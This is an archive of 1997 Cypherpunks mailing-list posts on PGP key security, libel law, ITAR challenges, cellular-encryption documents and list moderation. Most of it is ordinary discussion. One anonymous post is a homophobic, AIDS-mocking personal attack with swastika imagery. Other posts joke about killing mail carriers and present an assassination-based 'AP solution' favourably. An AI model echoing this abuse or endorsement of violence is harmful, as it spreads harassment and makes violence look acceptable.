ctJsOOz391rbjM+HiNXzMUiiWLBelVA9CrsG/UtSd243vymwD/J2dJiq3s0CMPln
Tl1rSy1IVsMqNuQ65ALV9qsz6GJtK8Wu1nSk1IwR8Ge2ZSq6VCqkV/hY8+r5KPOM
V0XMIblviEc87xmiJ8BMuNNJpOvhGzFZQ1TV9vwdec3pfyeV/HeHjw==
=2if1
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 11:57:04 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <199702011640.IAA20586@toad.com>
Message-ID: <3.0.1.32.19970201115431.047a4e50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Postal Service offers $25,000 reward for stolen . . . something

I got the impression the author was struggling very hard not to say
	"I swear I'm not making this up"
"But I can't say that - it's Dave Barry's line"  :-)

At 09:39 AM 2/1/97 -0500, Duncan Frissell wrote:
>Mail Storage Box keys?

I was also guessing keys - truck keys are a less subtle target than
box storage keys, and telling every thug in the country that 
mail trucks are an easy target, just take the keys from the carrier,
seems almost worth sounding really stupid in public to avoid.
They did say that it wasn't something they carried in their pockets,
but do mail carriers hang their keys on their belts?
My wife's guess was that they didn't want to admit they carry Mace
or equivalent, though everybody knows it.

I also enjoyed the description of one of the weapons as a
"steering wheel locking device" 
	"The Club - Police recommend it!"





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:12:51 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Key Security Question
In-Reply-To: <199702010201.SAA29739@toad.com>
Message-ID: <3.0.1.32.19970201121055.047b6520@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> My computer went into the shop a few days ago, and I was unable to take
>> my PGP keys off it before it went in.  What are the security risks here?
>> If the repairman chooses to snoop through the files, what would he be
>> able to do with my key pair?  Will I need to revoke the key and make a
>> new one, or will I be relatively safe since he doesn't have my
>> passphrase?

Passphrases are MD5-hashed into 128-bit IDEA keys and used to
encrypt the secret key; there's a "pgpcrack" program out there
that does dictionary-style searches to find if you've got 
wimpy passphrases.  So if your passphrases is "secret", you lose,
but if it's "fjhw;doifvjuc-[09efiu v` 2	4rnhc;ljoipcvjpoiewujfgv;loik"
you're probably pretty safe, unless that's written on the yellow
sticky you left on the side of the PC.

On the other hand, if the "repairman" replaced your pgp executable
with version 2.6.3kgb, which uses your hashed passphrase as the
session key, you're hosed.  Or if he installed a keystroke sniffer,
or added a small radio transmitter to your keyboard, or whatever.
Depends on your threat model.  If you need to be paranoid,
they've already gotten you....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sat, 1 Feb 1997 09:14:01 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Stronghold -- unsubstatiated claims (was Re: David E. Smith / Known Flamer)
In-Reply-To: <L2eg2D37w165w@bwalk.dm.com>
Message-ID: <Pine.OS2.3.95.970201121046.9209C-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 1 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Both messages dealt were criticial of Sandy's employer, C2, and
> exposed their main product, Stronghold, as a fraud.

I assume that since you're making this claim about Stronghold, you
have facts to back it up?

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMvN5YyKEMrE5tbrdAQHAPAP/fPLrPXcWySUn9y/fYJcAMtdJlQF8AH9p
VEzlBMGM3qMEZcWW6no3TBN09MQgRH0xO7xHkHv/qaCZWxWYZYuJzvPXiCMChH3u
L1sBMUqn7OZK5afLDjer2CvNd/dH1nAtUIfl6tEcePMrbi4e61uJ/Y70Q9JlZeoz
AwDWPLw88gc=
=zhfk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 1 Feb 1997 12:49:54 -0800 (PST)
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Key Security Question
In-Reply-To: <199702011955.LAA24678@toad.com>
Message-ID: <199702012048.MAA27571@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen writes:
> At 10:41 AM 1/31/97 -0800, Z.B. wrote:
> >My computer went into the shop a few days ago, and I was unable to take
> >my PGP keys off it before it went in.  What are the security risks here?
> >If the repairman chooses to snoop through the files, what would he be
> >able to do with my key pair?  Will I need to revoke the key and make a
> >new one, or will I be relatively safe since he doesn't have my
> >passphrase?
> 
> Depends on how guessable your passphrase is.  If you use something that would
> fall to a dictionary attack, then you are vulnerable.  (Providing that they
> actually looked for your keyring and made a copy.)
> 
> If you had nyms on your keyring, then those nyms can be associated with your
> "true name" with no passphrase required.  (Unless you keep your keyring
> encrypted. Private Idaho supports encrypted keyrings, but little else does.)

Other attacks would be installing a keyboard sniffer, replacing your
PGP binary with a trojan that records your passphrase, etc.
This sort of stuff is quite possible but not likely.  Yet.
 
> If you are really concerned about it, you could learn to do your own computer
> repairs.

Or put your PGP keys on removeable media.

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 1 Feb 1997 09:48:24 -0800 (PST)
To: pete@idaho.ubisg.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199702011633.LAA20630@idaho.ubisg.com>
Message-ID: <Pine.LNX.3.95.970201125020.909A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Peter J. Capelli wrote:

> 	You mean to say, rich people can overcrowd the courts as much as they
> like, while others are restricted by contigency-only lawyers ( Call 
> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> control
> a poor one with many frivolous lawsuits ... while they can afford to file 
> lawsuit after lawsuit, the poor person cannot defend himself.

What, exactly, would be the point of suing a poor person?


Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 1 Feb 1997 13:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger web site
In-Reply-To: <199702010347.WAA21877@upaya.multiverse.com>
Message-ID: <199702012156.NAA20854@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ sent me his web site which others may be interested in,
with pointers to Karn and Bernstein:

http://samsara.law.cwru.edu/comp_law/crypto_export/

so, essentially, there are now 3 pretty significant cases
challenging ITAR on constitutional grounds, which I find
highly encouraging. of course the Bernstein case has already
had very positive results so far.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 1 Feb 1997 15:04:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel, Times v. Sullivan
Message-ID: <3.0.32.19970201144910.0068e100@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone (Igor?) suggested I said that libel can't be criminalized. I don't
think that's correct, but I may have been unclear. I haven't researched the
question and can't call to mind a case directly on point, but my hunch is
that states may criminalize libel, but a conviction would require that the
state prove, beyond a reasonable doubt (because it's a criminal case), and
that the defendant acted with actual malice (because the state is seeking
to punish speech, and punitive damages in civil cases require proving
actual malice). "Actual malice" means that the defendant said something
s/he knew was untrue or recklessly disregarded the truth of what s/he said.
(This excludes, for example, an "honest mistake" about what's true.) _Times
v. Sullivan_, the case which introduced the actual malice standard,
discussed Alabama's criminal libel statute - so the Supreme Court, in the
mid 60's, didn't seem to have a problem with criminalizing libel. I can't
seem to find a criminal libel statute in California; and if I remember
correctly the Oregon Legislature contemplated but did not pass one during
its last legislative session. 

Also, people interested in _Times v. Sullivan_ and the interplay between
defamation and the First Amendment might find "Make No Law: The Sullivan
Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
interest. The decision itself is online at
<http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
=254> - the factual summary of the Sullivan case posted here was not
correct, and the first few pages of the opinion provide a description of
the underlying facts.

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 15:15:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <01BC1053.485521C0@king1-06.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto, quoting the Cyphernomicon

3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).
.........................................................................

Toto, I'm surprised at how seriously you take the underlying anarchist 
philosophy of the list; you identify so closely with it, and have responded 
to its moderation as though it really would be "the end of freedom", even 
though you seem to have appeared, or else come out of lurking, only 
recently.   Is this because you value anarchy, or free speech, or the 
existence of the Cypherpunks as a unique group of stray cats [ :>) ]?


Side note:
Since Tim isn't on the list and hasn't been for a month, I've been 
wondering if it had anything to do with the moderation experiment, although 
it is unlike him to have left without either an argument or at least some 
kind of statement about it.

    ..
Blanc

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 1 Feb 1997 15:31:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto in New Zealand - an update
Message-ID: <3.0.32.19970201151843.006ec2d0@192.100.81.137>
MIME-Version: 1.0
Content-Type: text/plain


At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
[...]
>The following week Andrew Mayo wrote a letter to the editor of the NBR
>containing an eloquent defense of the use of encryption to protect personal
>privacy.  MFAT replied to say that they were only following orders, and were
>required by the Wassenaar agreement to restrict crypto exports:
[...]

Just for clarification, it is the Wassenaar *arrangement* (somehow the term
is more fitting anyway...) and it does *not* require the signatory
countries to implement crypto export controls.

Not that this will make any difference, since it would be the first time
that a government would allow facts to stand in the way of politics.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 15:54:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Degaussing diskettes
Message-ID: <199702012354.PAA11855@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment wears satin lingerie
embroidered with pink swastikas, prancing around for his faggot,
AIDS infected lovers.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 13:16:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on Cellular Encryption Docs
Message-ID: <1.5.4.32.19970201211055.006e3984@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's more on the controlled documents for cellular encryption
from TIA/EIA we described in a 26 January post to cpunks:

Sharon Vargish of TIA (1-703-907-7702) sent the documents after 
I signed and returned the NDA:

   TR45.0.A
   Common Cryptographic Algorithms, Revision B
   June 21, 1995, 72 pp. (With ITAR notice on every page)

   TR45.0.A
   Interface Specification for Common Cryptographic Algorithms,
   Revision B, August 6, 1996, 15 pp. (No ITAR notice, but 
   "sensitive information should be protected from general 
   distribution.")

   TR45
   Appendix A to PN-3474 (IS-36)
   October 16, 1995, 10 pp. (ITAR notice on every page.)

   TR45
   Appendix-A to TIA/EIA 627
   December 23, 1996, 7 pp. (No ITAR, but "sensitive"notice)

"Common Cryptographic Algorithms" (CCA) supercedes the 1992 
CAVE document, but is considerbly longer -- 72 pp. for the latest
compared to 25 pp. for the 1992 version.

Here're the CCA's TOC and Introduction:

Table of Contents

1. Introduction 
   1.1. Notations 
   1.2. Definitions 

2. Procedures 

   2.1. Authentication Key (A-Key) Procedures
        2.1.1. A-Key Checksum calculation            
        2.1.2. A-Key Verification

   2.2. SSD Generation and Update
        2.2.1. SSD Generation Procedure            
        2.2.2. SSD Update Procedure

   2.3. Authentication Signature Calculation Procedure

   2.4. Encryption Key and VPM Generation Procedure
        2.4.1. CMEA key Generation            
        2.4.2. Voice Privacy Mask Generation

   2.5. CMEA Encryption/Decryption Procedure

   2.6. Wireless Residential Extension Procedures
        2.6.1. WIKEY Generation            
        2.6.2. WIKEY Update Procedure            
        2.6.3. Wireline Interface Authentication Signature 
               Calculation Procedure            
        2.6.4. Wireless Residential Extension Authentication 
               Signature Calculation Procedure

   2.7. Cellular Data Encryption 
        2.7.1. Data Encryption Key Generation Procedure            
        2.7.2. Data Encryption Mask Generation Procedure

3. TEST VECTORS

   3.1. CAVE Test Vectors
        3.1.1. Vector 1           
        3.1.2. Vector 2            
        3.1.3. Test Program

   3.2. Wireless Residential Extension Test Vectors
        3.2.1. Input data            
        3.2.2. Test program            
        3.2.3. Test Program Output

   3.3. Data Encryption Test Vector
        3.3.1. Input data            
        3.3.2. Test Program            
        3.3.3. Test Program Output
  
1. Introduction

This document describes detailed cryptographic procedures for 
cellular system applications. These procedures are used to 
perform the security services of mobile station authentication, 
subscriber message encryption, and encryption key and subscriber 
voice privacy key generation within cellular equipment.

This document is organized as follows:

§2 describes the Cellular Authentication, Voice Privacy and 
Encryption (CAVE) algorithm used for authentication for mobile 
subscriber equipment and for generation of cryptovariables to 
be used in other procedures.

§2.1 describes the procedure to verify the manual entry of the 
subscriber authentication key (A-key).

§2.2 describes the generation of intermediate subscriber 
cryptovariablcs, Shared Secret Data (SSD), from the unique and 
private subscriber A-key.

§2.3 describes the procedure to calculate an authentication 
signature used by cellular base station equipment for verifying 
the authenticity of a mobile station.

§2.4 describes the procedures used for generating cryptographic 
keys. These keys include the Voice Privacy Mask (VPM) and the 
Cellular Message Encryption Algorithm (CMEA) key. Thc VPM is used 
to provide forward link and reverse link voice confidentiality 
over the air interface. Thc CMEA key is used with the CMEA 
algorithm for protection of digital data exchanged between the 
mobile station and the base station.

§2.5 describes the Cellular Message Encryption Algorithm (CMEA) 
used for enciphering and deciphering subscriber data exchanged 
between the mobile station and the base station.

§2.6 describes the procedures for key and authentication 
signature generation for wireless residential extension 
applications.

§2.7 describes the ORYX algorithm and procedures for key and mask 
generation for encryption and decryption in cellular data services.

§3 provides test data (vectors) that may be employed to verify 
the correct operation of the cryptographic algorithms described 
in this document. ...

[End CCA Introduction]

The related CCA Interface Specification "describes the interfaces
to cryptographic procedures for cellular system applications"
described in the CCA. Its purpose "is to describe the cryptographic
functions without revealing the technical details that are subject
to" ITAR.

The two Appendices A to IS-136 and 627 "contain requirements for 
message encryption and voice privacy for cellular systems" 
supplemental to those described in the main documents, the CCA and 
the CCA Interface Specs.

-----

This note will be put with other CAVE info at:

   http://jya.com/cave.htm

Thanks to TIA/EIA for prompt and courteous reply to our requests. Maybe
they welcome help persuading USG/NSA to allow stronger crypto and
boost the market for cellular systems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sat, 1 Feb 1997 14:42:51 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702012305.SAA24688@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On  1 Feb 97 at 9:39, Duncan Frissell wrote:

> Mail Storage Box keys?

I think they use combination locks, actually. Supposedly it's the same
combination nationally too.

There was an article in 2600 Magazine about that. The locks are 
actually 'insecure' and you can test every possible combo in about
10-20 minutes.

- --Rob

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvPFpgTNlSxdPy6ZAQF7QAf+IFPhGavlD7p5WFsmhESHi+PKd9msqYhN
pxl8ZdUZMDJg61F6nLF4Oa7rfoCmzDXqP4w0WU1pk8MkkwwVb9oTTJg2k4hY4AKr
IixesiAcDlGc9+11314Nao+PuU6epJYmLddGSIc0Ra3FKrqamyueW6qunsJQT1Z6
5E/BiqpEGAiEGqog9J/xXtSra4q9g1SzrMCGcR5z077gCzb5ONxIgWzQ6zlL0leb
X1Y9pzABnm1iJbq7Q2HRAVAQVBiPC/vg+hW8COfao4XHGqsqVg2UBcZWT8TdbV4N
cwqVw5fDpoZXPyQtzRynmq55xH4OIJWZ2HnNNK3KHdRcyS+JW24MBQ==
=oAVd
-----END PGP SIGNATURE-----

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 17:56:42 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702020156.RAA13867@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:52 PM 2/1/97 -0500, Mark M. wrote:
>On Sat, 1 Feb 1997, Peter J. Capelli wrote:
>
>> 	You mean to say, rich people can overcrowd the courts as much as they
>> like, while others are restricted by contigency-only lawyers ( Call 
>> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
>> control
>> a poor one with many frivolous lawsuits ... while they can afford to file 
>> lawsuit after lawsuit, the poor person cannot defend himself.
>
>What, exactly, would be the point of suing a poor person?

To quiet him from political dissent, presumably.  I think the term coined a 
few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
Public Policy," or similar.  

For example, "Company A" wants to build a mine or factory or something 
similar at a location.  Citizens object, causing political problems.  
Company sues the individuals for damages, which costs the individuals a 
great deal of money to defend against even if they never lose the suit.

The real problem is actually a series of mistakes:

1.  Individual should not be able to cause political problems for company.

2.  "Government" should not be able to impact company activities short of 
actual harm.

3.  Company should not be able to impact individual by suing except for 
actual harm done by that individual.


Naturally, the source of these problems is that by each of their existence, 
lawyers make more money.


As usual, I have a solution to that problem.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 18:23:46 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <32F32D6C.126C@sk.sympatico.ca>
Message-ID: <32F3F8FB.154B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social
>        repercussions).
> 3.6.3 "Why isn't the list moderated?"
>       ...hardly consistent with many of our anarchist leanings, is it?
>       - "No, please, let's not become a 'moderated' newsgroup. This
>       would be the end of freedom!

Is this why T.C. May hasn't posted in quite a while?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 19:00:47 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: More on Cellular Encryption Docs
In-Reply-To: <199702012359.PAA00661@toad.com>
Message-ID: <3.0.1.32.19970201183101.006369c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:10 PM 2/1/97 -0500, John Young wrote:
>Here's more on the controlled documents for cellular encryption
>from TIA/EIA we described in a 26 January post to cpunks:
...
>   TR45.0.A
>   Common Cryptographic Algorithms, Revision B
>   June 21, 1995, 72 pp. (With ITAR notice on every page)

Of course, ITAR as recently modified says it's ok to send this
stuff overseas to foreigners, as long as it's on paper.
There may be separate restrictions on sending it, or on copying,
but they're based on copyright or contractual non-disclosure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 18:34:43 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC1053.485521C0@king1-06.cnw.com>
Message-ID: <32F3FC93.7269@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto, quoting the Cyphernomicon
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social repercussions).

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?
> Side note: Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.

Maybe Tim's Last Words got "lost", eh?  So far, several people have
stated that "it could happen".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 17:25:59 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <3.0.1.32.19970201115431.047a4e50@popd.ix.netcom.com>
Message-ID: <32F4011A.1B3C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
 
> >>>Postal Service offers $25,000 reward for stolen . . . something
 
> I was also guessing keys - truck keys are a less subtle target than
> box storage keys, and telling every thug in the country that
> mail trucks are an easy target, just take the keys from the carrier,
> seems almost worth sounding really stupid in public to avoid.
> They did say that it wasn't something they carried in their pockets,
> but do mail carriers hang their keys on their belts?

  Mail carriers in some areas carry keys for buildings with security
doors (sometimes Master keys).
  Or perhaps they've taken over the CIA's crack distribution route.

  Is anyone on the list willing to 'knock off' a couple of mail
carriers and get back to us with a definitive answer on this?
 (Doesn't this kind of thing fall under the moderator's job
description?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 19:14:13 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702020313.TAA20622@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:52 PM 2/1/97 -0800, Greg Broiles wrote:

>Also, people interested in _Times v. Sullivan_ and the interplay between
>defamation and the First Amendment might find "Make No Law: The Sullivan
>Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
>interest. The decision itself is online at
><http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
>=254> - the factual summary of the Sullivan case posted here was not
>correct, and the first few pages of the opinion provide a description of
>the underlying facts.
>
>Since we've now got Jim Bell arguing that it's obvious that a free and open
>society must tolerate anything which might be defamatory, and Jim Choate
>arguing that it's obvious that a free and open society cannot tolerate
>anything which might be defamatory, I think I'm going to wander away from
>this discussion confident that the answer is, at least, nonobvious. :)

Your last paragraph looks like an exercise of the silly game the TV show "60 
minutes" producers often play when they read the letters from the audience 
about a previous report on a controversial subject.  They first read a 
letter from an outraged viewer who claims that the TV show's producers must 
have been biased in one direction, and then they read another letter from a 
different viewer who alleges they showed a bias in the opposite direction.  
The show is trying to leave you with the impression that they MUST have been 
unbiased, because they are being accused of diametrically opposite leanings.

All they are really showing is that given the hundreds and probably 
thousands of letters they receive on each show weekly (which are, by 
definition, written by self-motivated people) they can get at least one on 
each end of the spectrum for whatever subject they've just covered.   Not 
surprising.   (If anything, I'd be surprised if they ever DON'T recieve at 
least two such letters which could be misused in this way...)

So before you "wander away," perhaps you ought to explain why we NEED 
defamation laws?  The sun would still rise tomorrow morning absent them.  A 
few feelings might be hurt, that's true, but on the other hand the implied 
endorsement of The State ("If that statement wasn't true, he couldn't print 
it!") has a, cumulatively, far greater impact on all of us.

A clue is present in the likely fact that the origins of defamation laws 
were primarily to keep the king and the upper-crust free of printed and 
verbal attack directed by the lower-classes, even given the presence of 
whatever nominal "free-speech" guarantees were present.  Explain, for 
example, that while it is now universally recognized by the truth is a 
defense for libel accusations, it was NOT true when William Penn went on 
trial for libel in the late 1600's.






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:19:50 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020201.UAA00977@einstein>
Message-ID: <32F40783.5EBF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

[snip]

Nobody has a problem with your ideals, it's just that Jim Bell is
trying to say (correct me and forgive me if I'm wrong) that:

1. Society will never subscribe to your ideals.
2. Society is not static, i.e., instead of remaining at a constant
   level of corruption, the officials will keep demanding more,
   until there's a sudden, catastrophic break.
3. The AP solution has the potential to stabilize the level of
   corruption, which should make violent revolutions and genocide
   unnecessary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 17:26:05 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Crypto in New Zealand - an update
In-Reply-To: <3.0.32.19970201151843.006ec2d0@192.100.81.137>
Message-ID: <32F4096D.789@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote: 
> At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
> [...]
> >The following week Andrew Mayo wrote a letter to the editor of the NBR
> >containing an eloquent defense of the use of encryption to protect personal
> >privacy.  MFAT replied to say that they were only following orders, and were
> >required by the Wassenaar agreement to restrict crypto exports:
> [...]

  MFAT doesn't put crypto in the ovens, they just turn on the gas.
 
> Just for clarification, it is the Wassenaar *arrangement* (somehow the term
> is more fitting anyway...) and it does *not* require the signatory
> countries to implement crypto export controls.
 
> Not that this will make any difference, since it would be the first time
> that a government would allow facts to stand in the way of politics.

  ...or allow 'citizens' to stand in the way of politics.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 1 Feb 1997 18:00:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free & Open Society & toleration
Message-ID: <199702020201.UAA00977@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

It has been asserted that I am claiming that a free and open society should
not abide any and all actions in contrast to Jim Bell's assertion that a
free and open society must tolerate any action.

This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
